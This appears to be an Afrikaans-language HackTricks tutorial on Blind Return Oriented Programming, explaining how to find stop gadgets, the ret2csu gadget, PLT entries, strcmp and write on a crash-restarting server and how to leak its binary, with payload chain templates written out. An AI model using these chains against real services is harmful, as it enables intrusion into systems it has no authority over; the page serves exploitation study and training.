BROP - Blind Return Oriented Programming
Last updated
Last updated
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Die doel van hierdie aanval is om in staat te wees om 'n ROP te misbruik via 'n buffer overflow sonder enige inligting oor die kwesbare binêre. Hierdie aanval is gebaseer op die volgende scenario:
'n Stapel kwesbaarheid en kennis van hoe om dit te aktiveer.
'n Bediener toepassing wat herbegin na 'n ongeluk.
Jy kan meer inligting oor hierdie prosesse hier (BF Forked & Threaded Stack Canaries) en hier (BF Adresse in die Stapel) vind.
Hierdie gadget laat basies toe om te bevestig dat iets interessant deur die ROP gadget uitgevoer is omdat die uitvoering nie gecrash het nie. Gewoonlik gaan hierdie gadget iets wees wat die uitvoering stop en dit is aan die einde van die ROP ketting wanneer daar na ROP gadgets gesoek word om te bevestig dat 'n spesifieke ROP gadget uitgevoer is.
Hierdie tegniek gebruik die ret2csu gadget. En dit is omdat as jy toegang tot hierdie gadget in die middel van sommige instruksies kry, jy gadgets kry om rsi
en rdi
te beheer:
Hierdie sou die gadgets wees:
pop rsi; pop r15; ret
pop rdi; ret
Let op hoe dit met daardie gadgets moontlik is om 2 argumente van 'n funksie te beheer.
Ook, let op dat die ret2csu gadget 'n baie unieke handtekening het omdat dit 6 registers van die stapel gaan pop. SO om 'n ketting soos:
'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP
te stuur.
As die STOP uitgevoer word, beteken dit basies dat 'n adres wat 6 registers van die stapel pop, gebruik is. Of dat die adres wat gebruik is ook 'n STOP adres was.
Om hierdie laaste opsie te verwyder, word 'n nuwe ketting soos die volgende uitgevoer en dit mag nie die STOP gadget uitvoer om te bevestig dat die vorige een 6 registers gepop het nie:
'A' * offset + canary + rbp + ADDR
As jy die adres van die ret2csu gadget ken, is dit moontlik om die adres van die gadgets om rsi
en rdi
te beheer af te lei.
Die PLT tabel kan van 0x400000 of van die gelek RIP adres van die stapel gesoek word (as PIE gebruik word). Die ingevoerde van die tabel is geskei deur 16B (0x10B), en wanneer 'n funksie aangeroep word, crash die bediener nie selfs al is die argumente nie korrek nie. Ook, om die adres van 'n invoer in die PLT + 6B te kontroleer, crash ook nie aangesien dit die eerste kode is wat uitgevoer word.
Daarom is dit moontlik om die PLT tabel te vind deur die volgende gedrag te kontroleer:
'A' * offset + canary + rbp + ADDR + STOP
-> geen crash
'A' * offset + canary + rbp + (ADDR + 0x6) + STOP
-> geen crash
'A' * offset + canary + rbp + (ADDR + 0x10) + STOP
-> geen crash
Die strcmp
funksie stel die register rdx
op die lengte van die string wat vergelyk word. Let daarop dat rdx
die derde argument is en ons dit nodig het om groter as 0 te wees om later write
te gebruik om die program te lek.
Dit is moontlik om die ligging van strcmp
in die PLT te vind gebaseer op sy gedrag deur die feit dat ons nou die 2 eerste argumente van funksies kan beheer:
strcmp(<non read addr>, <non read addr>) -> crash
strcmp(<non read addr>, <read addr>) -> crash
strcmp(<read addr>, <non read addr>) -> crash
strcmp(<read addr>, <read addr>) -> geen crash
Dit is moontlik om hiervoor te kontroleer deur elke invoer van die PLT tabel aan te roep of deur die PLT stadige pad te gebruik wat basies bestaan uit 'n invoer in die PLT tabel + 0xb (wat na dlresolve
roep) gevolg in die stapel deur die invoernommer wat een wil toets (begin by nul) om al PLT invoere vanaf die eerste een te skandeer:
strcmp(<non read addr>, <read addr>) -> crash
b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP
-> Sal crash
strcmp(<read addr>, <non read addr>) -> crash
b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP
strcmp(<read addr>, <read addr>) -> geen crash
b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP
Onthou dat:
BROP + 0x7 dui op pop RSI; pop R15; ret;
BROP + 0x9 dui op pop RDI; ret;
PLT + 0xb dui op 'n oproep na dl_resolve.
Nadat strcmp
gevind is, is dit moontlik om rdx
op 'n waarde groter as 0 in te stel.
Let daarop dat gewoonlik rdx
reeds 'n waarde groter as 0 sal huisves, so hierdie stap mag dalk nie nodig wees nie.
Laastens, is 'n gadget nodig wat data uitkoppel om die binêre uit te koppel. En op hierdie oomblik is dit moontlik om 2 argumente te beheer en rdx
groter as 0 in te stel.
Daar is 3 algemene funksies wat vir hierdie doel misbruik kan word:
puts(data)
dprintf(fd, data)
write(fd, data, len(data)
Echter, die oorspronklike artikel noem net die write
een, so kom ons praat daaroor:
Die huidige probleem is dat ons nie weet waar die write funksie binne die PLT is nie en ons weet nie 'n fd nommer om die data na ons soket te stuur nie.
Echter, ons weet waar die PLT tabel is en dit is moontlik om write te vind gebaseer op sy gedrag. En ons kan verskeie verbindings met die bediener maak en 'n hoë FD gebruik in die hoop dat dit met sommige van ons verbindings ooreenstem.
Gedrag handtekeninge om daardie funksies te vind:
'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP
-> As daar data gedruk word, dan is puts gevind
'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP
-> As daar data gedruk word, dan is dprintf gevind
'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP
-> As daar data gedruk word, dan is write gevind
Oorspronklike artikel: https://www.scs.stanford.edu/brop/bittau-brop.pdf
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)